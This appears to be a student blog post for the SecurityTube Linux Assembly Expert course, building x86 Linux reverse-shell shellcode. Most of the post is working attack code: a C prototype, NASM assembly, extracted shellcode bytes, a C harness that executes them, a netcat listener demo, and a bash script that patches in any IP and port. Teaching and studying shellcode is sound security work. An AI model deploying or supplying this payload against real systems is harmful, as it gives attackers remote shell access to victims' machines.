SLAE Assignment 2: Reverse Shell

What it is about:

•  Create a Shell_Reverse_TCP shellcode
– Reverse connects to configured IP and Port
– Execs shell on successful connection
•  IP and Port should be easily configurable

Here is the C code I used for prototyping the assembler code:

reverseshellds.c

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
  int sockfd;
  struct sockaddr_in target;

  target.sin_family = AF_INET;
  target.sin_port = htons(12345);
  target.sin_addr.s_addr = inet_addr("127.0.0.1");
  
  sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr));

  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);

  execve("/bin/sh", NULL, NULL);
}

And here is the assembler code. The IP address is pushed as hex.

reverseshellds.nasm

global _start

section .text

_start:

  ; socket
  push BYTE 0x66    ; socketcall 102
  pop eax
  xor ebx, ebx 
  inc ebx 
  xor edx, edx
  push edx 
  push BYTE 0x1
  push BYTE 0x2
  mov ecx, esp
  int 0x80
  mov esi, eax

  ; connect
  push BYTE 0x66 
  pop eax
  inc ebx
  push DWORD 0x0101017f  ;127.1.1.1
  push WORD 0x3930  ; Port 12345
  push WORD bx
  mov ecx, esp
  push BYTE 16
  push ecx
  push esi
  mov ecx, esp
  inc ebx
  int 0x80

  ; dup2
  mov esi, eax
  push BYTE 0x2
  pop ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80 
  
  ; execve
  mov BYTE al, 11   
  push edx 
  push 0x68732f2f  
  push 0x6e69622f  
  mov ebx, esp 
  push edx   
  mov edx, esp  
  push ebx 
  mov ecx, esp  
  int 0x80

Here I used 127.1.1.1 to avoid null bytes.

The program can be compiled and the shellcode can be extracted as shown in the course:

$ nasm -f elf32 reverseshellds.nasm
$ ld reverseshellds.o
$ objdump -d ./a.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

For a proof concept, the following C programm can be used:

shellcode_reverseshellds.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

… and it is working.

1.) Use netcat for listening on the right port

$ nc -l 12345

2.) Start the reverse shell in a second window

$ ./a.out 
Shellcode Length:  87

3.) Do stuff in the first window

ls
a.out
reverseshell.c
reverseshellds.c

The script for making the shellcode converts the given IP address and port number to hex.

#!/bin/bash

#convert the ip
ad1=`echo $1|cut -d "." -f1`
ad1=`printf "%02X" $ad1`

ad2=`echo $1|cut -d "." -f2`
ad2=`printf "%02X" $ad2`

ad3=`echo $1|cut -d "." -f3`
ad3=`printf "%02X" $ad3`

ad4=`echo $1|cut -d "." -f4`
ad4=`printf "%02X" $ad4`

iphex=`echo "\x$ad1\x$ad2\x$ad3\x$ad4"`

# convert the port
len=`echo "obase=16; $2"|bc | wc -c`
port=""

if [ "$len" == "2" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  port=`echo "\\x0$tmp"`
fi

if [ "$len" == "3" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  port=`echo "\\x$tmp"`
fi

if [ "$len" == "4" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  tmp1=`echo "$tmp"|cut -c1-1`
  tmp2=`echo "$tmp"|cut -c2-3`
  port=`echo "\\x0$tmp1\\x$tmp2"`
fi

if [ "$len" == "5" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  tmp1=`echo "$tmp"|cut -c1-2`
  tmp2=`echo "$tmp"|cut -c3-4`
  port=`echo "\\x$tmp1\\x$tmp2"`
fi

echo "ip as hex: $iphex"
echo "port as hex: $port"

echo "shellcode:"

echo "\"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68$iphex\x66\x68$port\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80\""

Usage

$ mkreverseshell.sh ip port

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s